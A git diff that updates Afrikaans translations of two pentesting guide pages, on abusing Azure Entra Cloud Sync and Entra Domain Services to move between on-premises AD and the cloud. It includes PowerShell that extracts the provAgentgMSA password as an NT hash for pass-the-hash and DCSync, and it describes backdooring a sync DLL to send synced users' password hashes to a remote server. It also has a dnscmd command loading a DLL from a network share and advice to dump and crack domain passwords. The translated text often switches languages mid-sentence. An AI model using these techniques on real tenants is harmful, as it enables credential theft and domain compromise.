diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md index c3ac3d7b6..1ad487ddf 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md @@ -2,55 +2,56 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information -**Cloud Sync** is basies die nuwe manier van Azure om **gebruikers van AD in Entra ID te sinkroniseer**. +## Basiese Inligting -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync is 'n nuwe aanbod van Microsoft wat ontwerp is om aan jou hibriede identiteit doelwitte vir die sinkronisering van gebruikers, groepe en kontakte na Microsoft Entra ID te voldoen en te bereik. Dit bereik dit deur die Microsoft Entra cloud provisioning agent te gebruik in plaas van die Microsoft Entra Connect toepassing. Dit kan egter saam met Microsoft Entra Connect Sync gebruik word. +**Cloud Sync** is basies die nuwe manier van Azure om **gebruikers vanaf AD na Entra ID te sinkroniseer**. -### Principals Generated +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync is a new offering from Microsoft designed to meet and accomplish your hybrid identity goals for synchronization of users, groups, and contacts to Microsoft Entra ID. It accomplishes this by using the Microsoft Entra cloud provisioning agent instead of the Microsoft Entra Connect application. However, it can be used alongside Microsoft Entra Connect Sync. -In orde vir dit te werk, word 'n paar principals in beide Entra ID en die On-Premise direkte geskep: +### Geskepte principals + +Om dit te laat werk word sekere principals in beide Entra ID en die on-premise directory geskep: - In Entra ID word die gebruiker `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) geskep met die rol **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`). > [!WARNING] -> Hierdie rol het voorheen baie bevoorregte toestemmings gehad en dit kon gebruik word om [**bevoegdhede selfs tot globale admin te eskaleer**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Microsoft het egter besluit om al die bevoegdhede van hierdie rol te verwyder en dit net 'n nuwe een **`microsoft.directory/onPremisesSynchronization/standard/read`** toe te ken wat nie regtig toelaat om enige bevoorregte aksie uit te voer nie (soos om die wagwoord of eienskappe van 'n gebruiker te verander of 'n nuwe geloofsbrief aan 'n SP toe te voeg). +> This role used to have a lot of privileged permissions and it could be used to [**escalate privileges even to global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). However, Microsoft decided to remove all the privileges of this role and assign it just a new one **`microsoft.directory/onPremisesSynchronization/standard/read`** which doesn't really allow to perform any privileged action (like modifying the password or atribbutes of a user or adding a new credential to a SP). - In Entra ID word ook die groep **`AAD DC Administrators`** geskep sonder lede of eienaars. Hierdie groep is nuttig as [`Microsoft Entra Domain Services`](./az-domain-services.md) gebruik word. -- In die AD, word of die Diensrekening **`provAgentgMSA`** geskep met 'n SamAcountName soos **`pGMSA_$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), of 'n pasgemaakte een met [**hierdie toestemmings is nodig**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Gewoonlik word die standaard een geskep. +- In die AD word óf die Service Account **`provAgentgMSA`** geskep met 'n SamAcountName soos **`pGMSA_$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), of 'n pasgemaakte een met [**these permissions is needed**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Gewoonlik word die standaard een geskep. > [!WARNING] -> Onder ander toestemmings het die Diensrekening **`provAgentgMSA`** DCSync-toestemmings, wat toelaat dat **enigeen wat dit kompromitteer die hele direkte kan kompromitteer**. Vir meer inligting oor [DCSync kyk hierna](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html). +> Onder ander toestemmings het die Service Account **`provAgentgMSA`** DCSync-permissies, wat toelaat dat **enigeen wat dit kompromitteer die hele directory kan kompromitteer**. Vir meer inligting about [DCSync check this](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html). > [!NOTE] -> Standaard word gebruikers van bekende bevoorregte groepe soos Domein Administrators met die attribuut **`adminCount` tot 1 nie gesinkroniseer** met Entra ID vir veiligheidsredes nie. Ander gebruikers wat deel uitmaak van bevoorregte groepe sonder hierdie attribuut of wat hoë bevoegdhede direk toegeken is, **kan egter gesinkroniseer word**. +> Volgens verstek word gebruikers van bekende bevoorregte groepe soos Domain Admins met die attribuut **`adminCount` to 1 are not synchronized** nie met Entra ID gesinkroniseer om sekuriteitsredes nie. However, other users that are part of privileged groups without this attribute or that are assigned high privileges directly **kan gesinkroniseer word**. -## Password Sychronization +## Wagwoord-sinkronisering -Die afdeling is baie soortgelyk aan die een van: +The section is very similar to the one from: {{#ref}} az-connect-sync.md {{#endref}} -- **Wagwoord hash sinkronisering** kan geaktiveer word sodat gebruikers in staat sal wees om **in te log in Entra ID met hul wagwoorde van AD**. Boonop, wanneer 'n wagwoord in AD gewysig word, sal dit in Entra ID opgedateer word. -- **Wagwoord skryf terug** kan ook geaktiveer word, wat gebruikers toelaat om hul wagwoord in Entra ID te verander terwyl hul wagwoord outomaties in die on-premise domein gesinkroniseer word. Maar volgens die [huidige dokumentasie](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), is dit nodig om die Connect Agent te gebruik, so kyk na die [Az Connect Sync afdeling](./az-connect-sync.md) vir meer inligting. -- **Groep skryf terug**: Hierdie kenmerk laat groep lidmaatskappe van Entra ID toe om terug na die on-premises AD gesinkroniseer te word. Dit beteken dat as 'n gebruiker aan 'n groep in Entra ID bygevoeg word, hulle ook aan die ooreenstemmende groep in AD bygevoeg sal word. +- **Password hash synchronization** kan geaktiveer word sodat gebruikers **login into Entra ID using their passwords from AD**. Verder, wanneer 'n wagwoord in AD verander word, sal dit in Entra ID opgedateer word. +- **Password writeback** kan ook geaktiveer word, wat gebruikers toelaat om hul wagwoord in Entra ID te verander en dit outomaties in die on-premise domain te sinkroniseer. Maar volgens die [current docs](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), hiervoor is dit nodig om die Connect Agent te gebruik, so kyk na die [Az Connect Sync section](./az-connect-sync.md) vir meer inligting. +- **Groups writeback**: Hierdie funksie laat groepslidmaatskappe van Entra ID toe om teruggesinkroniseer te word na die on-premises AD. Dit beteken dat as 'n gebruiker by 'n groep in Entra ID gevoeg word, hulle ook by die ooreenstemmende groep in AD bygevoeg sal word. ## Pivoting ### AD --> Entra ID -- As die AD gebruikers van die AD na Entra ID gesinkroniseer word, is pivoting van AD na Entra ID eenvoudig, net **kompromitteer 'n gebruiker se wagwoord of verander 'n gebruiker se wagwoord of skep 'n nuwe gebruiker en wag totdat dit in die Entra ID direkte gesinkroniseer word (gewoonlik net 'n paar minute)**. +- As die AD-gebruikers vanaf AD na Entra ID gesinkroniseer word, is pivoting van AD na Entra ID reguit — net **kompromiseer 'n gebruiker se wagwoord of verander 'n gebruiker se wagwoord of skep 'n nuwe gebruiker en wag totdat dit in die Entra ID directory gesinkroniseer is (gewoonlik net 'n paar minute)**. -So jy kan byvoorbeeld -- Die **`provAgentgMSA`** rekening kompromitteer, 'n DCSync aanval uitvoer, die wagwoord van 'n gebruiker kraak en dit dan gebruik om in te log in Entra ID. -- Net 'n nuwe gebruiker in die AD skep, wag totdat dit in Entra ID gesinkroniseer word en dit dan gebruik om in te log in Entra ID. -- Die wagwoord van 'n gebruiker in die AD verander, wag totdat dit in Entra ID gesinkroniseer word en dit dan gebruik om in te log in Entra ID. +Dus kan jy byvoorbeeld: +- Kompromiseer die **`provAgentgMSA`** account, voer 'n DCSync attack uit, kraak die wagwoord van 'n gebruiker en gebruik dit daarna om in te log in Entra ID. +- Skep net 'n nuwe gebruiker in die AD, wag totdat dit na Entra ID gesinkroniseer is en gebruik dit om in te log in Entra ID. +- Wysig die wagwoord van 'n gebruiker in die AD, wag totdat dit na Entra ID gesinkroniseer is en gebruik dit om in te log in Entra ID. -Om die **`provAgentgMSA`** geloofsbriewe te kompromitteer: +Om die **`provAgentgMSA`** credentials te kompromitteer: ```powershell # Enumerate provAgentgMSA account Get-ADServiceAccount -Filter * -Server domain.local @@ -72,22 +73,22 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_$ -Properties msDS-Man $decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword ``` -Nou kan jy die hash van die gMSA gebruik om 'n Pass-the-Hash aanval teen Entra ID uit te voer met die `provAgentgMSA` rekening en volharding te handhaaf om DCSync-aanvalle teen die AD uit te voer. +Nou kan jy die hash van die gMSA gebruik om 'n Pass-the-Hash-aanval teen Entra ID uit te voer met die `provAgentgMSA`-rekening en persistentie handhaaf, sodat jy DCSync-aanvalle teen die AD kan uitvoer. -Vir meer inligting oor hoe om 'n Active Directory te kompromitteer, kyk: +For more information about how to compromise an Active Directory check: {{#ref}} https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html {{#endref}} > [!NOTE] -> Let daarop dat daar geen manier is om Azure of EntraID rolle aan gesinkroniseerde gebruikers toe te ken op grond van hul eienskappe nie, byvoorbeeld in die Cloud Sync konfigurasies. Om egter outomaties toestemmings aan gesinkroniseerde gebruikers toe te ken, kan sommige **Entra ID groepe van AD** toestemmings gegee word sodat die gesinkroniseerde gebruikers binne daardie groepe dit ook ontvang of **dinamiese groepe mag gebruik word**, so kyk altyd na dinamiese reëls en potensiële maniere om dit te misbruik: +> Note that There isn't any way to give Azure or EntraID roles to synced users based on its attributes for example in the Cloud Sync configurations. However, in order to automatically grant permissions to synced users some **Entra ID groups from AD** might be given permissions so the synced users inside those groups also receive them or **dynamic groups might be used**, so always check for dynamic rules and potential ways to abuse them: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md {{#endref}} -Ten opsigte van volharding stel [hierdie blogpos](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) voor dat dit moontlik is om [**dnSpy**](https://github.com/dnSpy/dnSpy) te gebruik om die dll **`Microsoft.Online.Passwordsynchronisation.dll`** wat geleë is in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** wat deur die Cloud Sync agent gebruik word om die wagwoord-sinkronisasie uit te voer, te backdoor sodat dit die wagwoord hashes van die gebruikers wat gesinkroniseer word na 'n afgeleë bediener uitvreet. Die hashes word binne die klas **`PasswordHashGenerator`** gegenereer en die blogpos stel voor om 'n paar kode by te voeg sodat die klas soos volg lyk (let op die `use System.Net` en die `WebClient` gebruik om die wagwoord hashes uit te vreet): +Met betrekking tot persistentie stel [this blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) voor dat dit moontlik is om [**dnSpy**](https://github.com/dnSpy/dnSpy) te gebruik om die dll **`Microsoft.Online.Passwordsynchronisation.dll`** te backdoor wat geleë is in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** en wat deur die Cloud Sync agent gebruik word om die password synchronization uit te voer, en sodoende die password hashes van die gesinkroniseerde gebruikers na 'n remote server te exfiltrate. Die hashes word gegenereer binne die klas **`PasswordHashGenerator`** en die blog post stel voor om kode by te voeg sodat die klas soos volg lyk (let op die `use System.Net` en die `WebClient` usage om die password hashes te exfiltrate): ```csharp using System; using System.Net; @@ -121,22 +122,19 @@ RawHash = passwordHashData.RawHash } } ``` -NuGet Pakket herstel het gefaal vir projek AzTokenFinder: Onvermoë om weergawe '4.3.2' van pakket 'System.Security.Cryptography.X509Certificates' te vind. -C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Pakket 'System.Security.Cryptography.X509Certificates.4.3.2' is nie op bron 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\' gevind. -. Sien asseblief die Foutlys venster vir gedetailleerde waarskuwings en foute. - ### Entra ID --> AD -- As **Wagwoord Terugskrywing** geaktiveer is, kan jy die wagwoord van sommige gebruikers van Entra ID verander en as jy toegang tot die AD netwerk het, kan jy met hulle aansluit. Vir meer inligting, kyk na die [Az Connect Sync afdeling](./az-connect-sync.md) vir meer inligting, aangesien die wagwoord terugskrywing met daardie agent geconfigureer word. +- As **Password Writeback** aangeskakel is, kan jy die wagwoord van sekere gebruikers in Entra ID wysig en, as jy toegang tot die AD-netwerk het, daarmee verbind. Vir meer inligting sien die [Az Connect Sync section](./az-connect-sync.md) aangesien die password writeback met daardie agent gekonfigureer word. -- Op hierdie stadium laat Cloud Sync ook **"Microsoft Entra ID na AD"** toe, maar na 'n lang tyd het ek gevind dat dit nie EntraID gebruikers na AD kan sinkroniseer nie en dat dit slegs gebruikers van EntraID kan sinkroniseer wat met die wagwoord hash gesinkroniseer is en afkomstig is van 'n domein wat aan dieselfde domeinwoud behoort as die domein waaraan ons sinkroniseer, soos jy kan lees in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits): +- Op hierdie stadium ondersteun Cloud Sync ook **"Microsoft Entra ID to AD"**, maar na 'n rukkie het ek gevind dat dit NIE EntraID-gebruikers na AD kan sinkroniseer nie en dat dit slegs gebruikers vanaf EntraID kan sinkroniseer wat met die password hash gesinkroniseer is en wat van 'n domain kom wat tot dieselfde domain forest as die domain waarna ons sinkroniseer behoort, soos jy kan lees in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits): -> - Hierdie groepe kan slegs on-premises gesinkroniseerde gebruikers en / of addisionele in die wolk geskepte sekuriteitsgroepe bevat. -> - Die on-premises gebruikersrekeninge wat gesinkroniseer is en lede van hierdie in die wolk geskepte sekuriteitsgroep is, kan van dieselfde domein of kruis-domein wees, maar hulle moet almal van dieselfde woud wees. +> - Hierdie groepe kan slegs on-premises-gesinkroniseerde gebruikers en/of addisionele cloud-geskepte security groups bevat. +> - Die on-premises gebruikersrekeninge wat gesinkroniseer is en lede van hierdie cloud-geskepte security group is, kan van dieselfde domain of cross-domain wees, maar almal moet uit dieselfde forest kom. -So die aanvaloppervlak (en nuttigheid) van hierdie diens is aansienlik verminder aangesien 'n aanvaller die aanvanklike AD van waar die gebruikers gesinkroniseer word, moet kompromitteer om 'n gebruiker in die ander domein te kompromitteer (en albei moet blykbaar in dieselfde woud wees). +Daarom is die attack surface (en bruikbaarheid) van hierdie diens grootliks verminder, aangesien 'n aanvaller die aanvanklike AD waarvandaan die gebruikers gesinkroniseer word moet compromise om 'n gebruiker in die ander domain te compromise (en blykbaar moet albei in dieselfde forest wees). -### Enumeration + +### Enumerasie ```bash # Check for the gMSA SA Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'" diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md index 060df3e3f..d80276c7a 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md @@ -2,27 +2,27 @@ {{#include ../../../banners/hacktricks-training.md}} -## Domain Services +## Domein Dienste -Microsoft Entra Domain Services laat toe om 'n Active Directory in Azure te ontplooi sonder dat jy Domain Controllers hoef te bestuur (jy het eintlik nie eers toegang tot hulle nie). +Microsoft Entra Domain Services maak dit moontlik om 'n Active Directory in Azure te ontplooi sonder om Domain Controllers te bestuur (egter het jy nie eers toegang daartoe nie). -Die hoofdoel is om jou toe te laat om legacy-toepassings in die cloud te laat loop wat nie moderne autentiseringsmetodes kan gebruik nie, of waar jy nie wil hê dat directory-opsoeke altyd terug na 'n on-premises AD DS-omgewing moet gaan nie. +Die hoofdoel is om jou toe te laat om verouderde toepassings in die cloud te laat loop wat nie moderne authenticasiemetodes kan gebruik nie, of waar jy nie wil hê dat directory lookups altyd terug na 'n on-premises AD DS-omgewing moet gaan nie. -Let daarop dat om die gebruikers wat in Entra ID gegenereer is (en nie vanaf ander active directories gesinchroniseer is nie) na die AD domain service te sinchroniseer, jy die **wagwoord van die gebruiker** na 'n nuwe een moet **verander** sodat dit met die nuwe AD gesinchroniseer kan word. In werklikheid word die gebruiker nie vanaf Microsoft Entra ID na Domain Services gesinchroniseer totdat die wagwoord verander is nie. +Let wel dat om die gebruikers wat in Entra ID geskep is (en nie vanaf ander Active Directory's gesinkroniseer is nie) na die AD domain service te sinkroniseer, jy die **wagwoord van die gebruiker** na 'n nuwe een moet verander sodat dit met die nuwe AD gesinkroniseer kan word. Werklik, die gebruiker word nie vanaf Microsoft Entra ID na Domain Services gesinkroniseer totdat die wagwoord verander is nie. > [!WARNING] -> Selfs as jy 'n nuwe active directory-domein skep, sal jy dit nie heeltemal kan bestuur nie (tensy jy sekere misconfigurations misbruik), wat beteken dat jy by verstek byvoorbeeld nie gebruikers direk in die AD kan skep nie. Jy skep hulle deur **gebruikers vanaf Entra ID te sinchroniseer.** Jy kan aandui om alle gebruikers te sinchroniseer (selfs dié wat vanaf ander on-premise AD's gesinkroniseer is), slegs cloud-gebruikers (gebruikers geskep in Entra ID), of selfs **meer te filter**. +> Selfs as jy 'n nuwe Active Directory-domein skep, sal jy dit nie heeltemal kan bestuur nie (tensy jy sekere misconfigurasies uitbuit), wat beteken dat jy by verstek byvoorbeeld nie gebruikers direk in die AD kan skep nie. Jy skep hulle deur **gebruikers vanaf Entra ID te sinkroniseer.** Jy kan aandui om alle gebruikers te sinkroniseer (selfs dié wat vanaf ander on-premise AD's gesinkroniseer is), slegs cloud-gebruikers (gebruikers in Entra ID geskep), of selfs **meer te filter**. > [!NOTE] -> Oor die algemeen, as gevolg van die gebrek aan buigbaarheid in die konfigurasie van die nuwe domein en die feit dat AD's gewoonlik alreeds on-premise is, is dit nie die hoofintegrasie tussen Entra ID en AD nie, maar dit is steeds interessant om te weet hoe dit gekompromitteer kan word. +> Oor die algemeen, as gevolg van die gebrek aan buigsaamheid in die konfigurasie van die nuwe domein en die feit dat AD's gewoonlik reeds on-premise is, is dit nie die hoofintegrasie tussen Entra ID en AD nie, maar dit is steeds interessant om te weet hoe om dit te kompromitteer. ### Pivoting -Lede van die gegenereerde **`AAD DC Administrators`** groep kry plaaslike admin-permissies op VMs wat domain-joined is aan die managed domain (maar nie op die domain controllers nie) omdat hulle by die local administrators-groep gevoeg word. Lede van hierdie groep kan ook **Remote Desktop gebruik om op afstand aan domain-joined VMs te koppel**, en is ook lede van die groepe: +Lede van die gegenereerde **`AAD DC Administrators`** groep kry plaaslike admin-regte op VMs wat by die bestuurde domein aangesluit is (maar nie op die domain controllers nie) omdat hulle by die plaaslike administrators-groep gevoeg word. Lede van hierdie groep kan ook **Remote Desktop gebruik om op afstand met domain-joined VMs te skakel**, en is ook lede van die groepe: -- **`Denied RODC Password Replication Group`**: Dit is 'n groep wat gebruikers en groepe spesifiseer wie se wagwoorde nie op RODCs (Read-Only Domain Controllers) gekas kan word nie. -- **`Group Policy Creators Owners`**: Hierdie groep laat lede toe om Group Policies in die domein te skep. Hulle kan egter nie group policies op gebruikers of groepe toepas of bestaande GPOs wysig nie, so dit is nie besonder interessant in hierdie omgewing nie. -- **`DnsAdmins`**: Hierdie groep laat toe om die DNS-instellings te bestuur en is in die verlede misbruik om [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), maar na toetsing van die aanval in hierdie omgewing is daar gekontroleer dat die kwetsbaarheid gepatch is: +- **`Denied RODC Password Replication Group`**: Hierdie groep spesifiseer gebruikers en groepe wie se wagwoorde nie op RODC's (Read-Only Domain Controllers) gekas kan word nie. +- **`Group Policy Creators Owners`**: Hierdie groep maak dit vir lede moontlik om Group Policies in die domein te skep. Hulle kan egter nie groepsbeleid op gebruikers of groepe toepas of bestaande GPOs wysig nie, dus is dit nie so interessant in hierdie omgewing nie. +- **`DnsAdmins`**: Hierdie groep laat toe om die DNS-instellings te bestuur en is in die verlede misbruik om [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), maar na die toets van die aanval in hierdie omgewing is dit nagegaan dat die kwesbaarheid gepatch is: ```text dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll @@ -30,22 +30,22 @@ DNS Server failed to reset registry property. Status = 5 (0x00000005) Command failed: ERROR_ACCESS_DENIED 5 0x5 ``` -Note that to grant these permissions, inside the AD the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**. +Note that to grant these permissions, inside the AD, the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**. -Neem kennis dat om hierdie toestemmings te verleen, binne die AD die groep **`AAD DC Administrators`** 'n lid van die vorige groepe gemaak word, en dat die GPO **`AADDC Computers GPO`** alle lede van die domeingroep **`AAD DC Administrators`** as Local Administrators toevoeg. +Let wel dat om hierdie toestemmings te verleen, binne die AD, die groep **`AAD DC Administrators`** 'n lid gemaak word van die vorige groepe, en dat die GPO **`AADDC Computers GPO`** ook al die lede van die domeingroep **`AAD DC Administrators`** as Local Administrators toevoeg. Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **compromise the domain.** -Pivoting van Entra ID na 'n AD wat met Domain Services geskep is, is reguit vooruit — voeg net 'n gebruiker by die groep **`AAD DC Administrators`**, kry toegang via RDP tot enige/alle masjiene in die domein, en jy sal data kan steel en ook **compromise the domain.** +Pivoting from Entra ID na 'n AD geskep met Domain Services is reguit vorentoe: voeg net 'n gebruiker by die groep **`AAD DC Administrators`**, kry toegang via RDP tot enige/alle masjiene in die domein en jy sal data kan steel en ook die **compromise the domain.** -However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always checn the metadata to all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure. +However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always check the metadata of all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure. -Daarenteen is pivoting van die domein na Entra ID nie so maklik nie, aangesien niks van die domein na Entra ID gesinchroniseer word. Kontroleer egter altyd die metadata van al die VMs wat aangesluit is, aangesien hul toegekende managed identities moontlik interessante permissies het. Ook **dump all the users passwords from the domain** en probeer om hulle te crack om dan te login into Entra ID / Azure. +Egter is pivoting van die domein na Entra ID nie so maklik nie, aangesien niks van die domein na Entra ID gesinkroniseer word nie. Kyk egter altyd na die metadata van alle VMs wat aangesluit is, aangesien hul toegewezen managed identities moontlik interessante permissies het. Ook, **dump all the users passwords from the domain** en probeer om hulle te crack sodat jy daarna in Entra ID / Azure kan login. > [!NOTE] > Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it. -> -> Neem kennis dat in die verlede ander kwesbaarhede in hierdie managed AD gevind is wat toegelaat het om die DCs te compromise, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). 'n attacker wat die DC compromise, kon baie maklik persistence handhaaf sonder dat die Azure admins dit opgemerk het of selfs kon verwyder. +> +> Let wel dat in die verlede ander kwesbaarhede in hierdie managed AD gevind is wat toegelaat het om die DCs te kompromitteer, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). 'n Aanvaller wat die DC kompromitteer, kon baie maklik maintain persistence sonder dat die Azure admins dit opmerk of selfs in staat is om dit te verwyder. ### Enumeration ```bash